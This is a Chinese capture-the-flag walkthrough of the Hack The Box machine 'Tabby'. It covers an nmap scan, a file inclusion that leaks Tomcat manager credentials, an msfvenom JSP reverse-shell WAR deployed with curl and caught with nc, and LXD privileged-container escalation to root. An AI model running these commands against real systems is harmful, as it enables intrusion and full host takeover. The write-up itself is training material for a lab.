root@JIYE:~/htb/tabby# nmap -sC -sV -sT 10.10.10.194 -oN nmap.CVT Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 02:59 EDT Nmap scan report for 10.10.10.194 Host is up (0.39s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Mega Hosting 8080/tcp open http Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 67.64 seconds root@JIYE:~/htb/tabby#
0x02.先访问80端口
发现是一个卖服务器的
手动爬虫，发现NEW页面不能访问，并跳转到了如下页面
添加一条hosts再访问，提到了数据泄露，并且感觉存在文件包含
10.10.10.194 megahosting.htb
测试文件包含，是确实存在的
0x03.访问tomcat
1.发现敏感目录及文件
/var/lib/tomcat9/webapps/ROOT/index.html
/usr/share/tomcat9
/var/lib/tomcat9
/usr/share/doc/tomcat9-common/RUNNING.txt.gz
/etc/tomcat9/tomcat-users.xml
2.包含敏感文件
百度发现tomcat-users.xml为用户登录配置文件
经过不懈努力发现文件位置
/usr/share/tomcat9/etc/tomcat-users.xml
查看源码发现用户密码
0x04.构造exploit
tomcat相关参考
生成exp
1 2 3 4 5
root@JIYE:~/htb/tabby# msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.17.216 lport=6666 -f war > exp.war Payload size: 1086 bytes Final size of war file: 1086 bytes
root@JIYE:~/htb/tabby#
上传exp
1 2
root@JIYE:~/htb/tabby# curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file exp.war "http://10.10.10.194:8080/manager/text/deploy?path=/exp.war" OK - Deployed application at context path [/exp.war]
kali监听
1 2 3
root@JIYE:~/htb/tabby# nc -nvlp 6666 listening on [any] 6666 ...
访问http://10.10.10.194:8080/exp.war反弹shell
1 2 3 4 5
root@JIYE:~/htb/tabby# nc -nvlp 6666 listening on [any] 6666 ... connect to [10.10.17.216] from (UNKNOWN) [10.10.10.194] 51532 whoami tomcat
ash@tabby:~/tmp$ ls alpine-v3.12-x86_64-20200910_2121.tar.gz exp.sh ash@tabby:~/tmp$ ./exp.sh --------------lxc image import--------------- --------------lxc image list----------------- +-------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | +-------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ | fjy | 24645e832789 | no | alpine v3.12 (20200910_21:21) | x86_64 | CONTAINER | 3.05MB | Sep 11, 2020 at 2:31am (UTC) | +-------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ ----------lxc container creating------------- Would you like to use LXD clustering? (yes/no) [default=no]: yes What name should be used to identify this node in the cluster? [default=tabby]: What IP address or DNS name should be used to reach this node? [default=10.10.10.194]: Are you joining an existing cluster? (yes/no) [default=no]: Setup password authentication on the cluster? (yes/no) [default=yes]: Trust password for new clients: Again: Do you want to configure a new local storage pool? (yes/no) [default=yes]: Name of the storage backend to use (zfs, btrfs, dir, lvm) [default=zfs]: Create a new ZFS pool? (yes/no) [default=yes]: Would you like to use an existing block device? (yes/no) [default=no]: Size in GB of the new loop device (1GB minimum) [default=15GB]: Do you want to configure a new remote storage pool? (yes/no) [default=no]: Would you like to connect to a MAAS server? (yes/no) [default=no]: Would you like to configure LXD to use an existing bridge or host interface? (yes/no) [default=no]: Would you like to create a new Fan overlay network? (yes/no) [default=yes]: What subnet should be used as the Fan underlay? [default=auto]: Would you like stale cached images to be updated automatically? (yes/no) [default=yes] Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: --------lxc security.privileged=true--------- Creating fjy-tabby ------------lxc config device---------------- Device mydevice added to fjy-tabby --------------lxc starting------------------- ash@tabby:~/tmp$ lxc exec fjy-tabby /bin/sh ~ # ls ~ # whoami root ~ # cd /mnt/root/ /mnt/root # ls bin home lost+found root swap.img boot lib media run sys cdrom lib32 mnt sbin tmp dev lib64 opt snap usr etc libx32 proc srv var /mnt/root # cd root/ /mnt/root/root # ls root.txt snap /mnt/root/root # cat root.txt ************************* /mnt/root/root #
